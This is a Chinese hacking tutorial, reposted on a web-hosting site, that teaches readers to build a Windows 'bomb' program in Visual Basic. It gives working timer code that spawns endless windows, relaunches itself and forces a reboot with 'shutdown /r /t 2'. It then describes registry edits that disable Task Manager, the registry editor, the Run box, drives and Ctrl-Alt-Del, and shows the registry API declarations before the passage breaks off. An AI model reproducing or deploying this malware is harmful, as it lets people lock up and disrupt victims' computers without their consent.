知已知彼 看黑客怎么编写强力蓝屏炸弹
2008-02-23 06:45:48来源:互联网 阅读 ()
新的一年又到来了,和我的朋友们都在忙着赶项目,就在我一个不小心写出了一个死循环时,想起了一种很古老的炸弹---蓝屏死机炸弹,于是我就有了写炸弹这个想法,因为我用的是C#.net,把源代码拿过来,大家想调试还要安装.net框架,于是我就想到了用VB来写,那么下面就让我们来进入正题吧。
一、弹要实现的功能
既然是炸弹,那当然要写的厉害些,首先就要像很久以前那个网页炸弹一样,弹出无数个窗口,这个功能是给别人打马虎眼的,让他一心想着去阻止炸弹继续的弹出窗口;第二个功能是专门针对windows XP而做的,当然也是在2004年第12期黑防杂志上看到的---自动重启计算机(如图1),
那么下一项就是让每一个人都感到郁闷的事---修改注册表。我今天教大家写的炸弹实现的功能大部分还是靠注册表,主要的功能还是要禁止中招的人打开任务管理器,禁止使用注册表,隐藏桌面所有图标,禁止使用开始菜单里面的运行,搜索,关机,屏蔽ctrl alt del里的内容,禁止使用IE浏览器里的所有属性,屏蔽C盘,D盘等盘,这样的结果看上去一定很可怕,如果我们屏蔽右键或者加那么一点点的代码设成开机自动运行,那后果会是什么样的就可想而知了吧?
二、代码实现
下面让我们打开VB编译器,在窗体上面加3个timer控件,然后Interval属性设得尽量小点,该属性1000为1秒,我的设成了6,这样在一秒就会谈出上百个窗口了。
实现代码如下:
Private Sub Timer1_Timer()
Dim a As New Form1 ‘声明以后出现a就是代表Form1
a.Show ‘Form1弹出
End Sub
Private Sub Timer2_Timer()
Shell App.EXEName ‘运行这个软件的本身
End Sub
然后隐藏窗体本身,书县代码如下:
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer3_Timer()
Shell ("cmd.exe /c shutdown /r /t 2") ‘调用cmd 然后在cmd里输入shutdown /r /t 2就是说设倒计时时间限制为2秒
End Sub
下面说说修改注册表吧,既然要修改注册表,那我们怎么能不调用API呢?当然,曾经在电脑报里也有说不用API就能读写注册表的,但是我想还是让大家用API吧,毕竟API接触多了是件好事。那么就让我来教大家条用API来简便的修改注册表吧,我们先来建一个模块,在里面加入代码: Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long ‘这是调用API函数来关闭注册表
Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long ‘这是调用AP函数在注册表里创建一个键
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long ‘这是调用api函数打开注册表
Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Long, lpcbData As Long) As Long
Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As Long, lpcbData As Long) As Long
Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long ‘调用API来设置注册表里的键名
Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long
Private Declare Function RegDeleteKey& Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) ‘调用API删除注册表里的的键
Private Declare Function RegDeleteValue& Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) ‘调用API删除注册表里的的键值
API声明完了,下面我们就做相应的定义吧,实现代码如下:
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash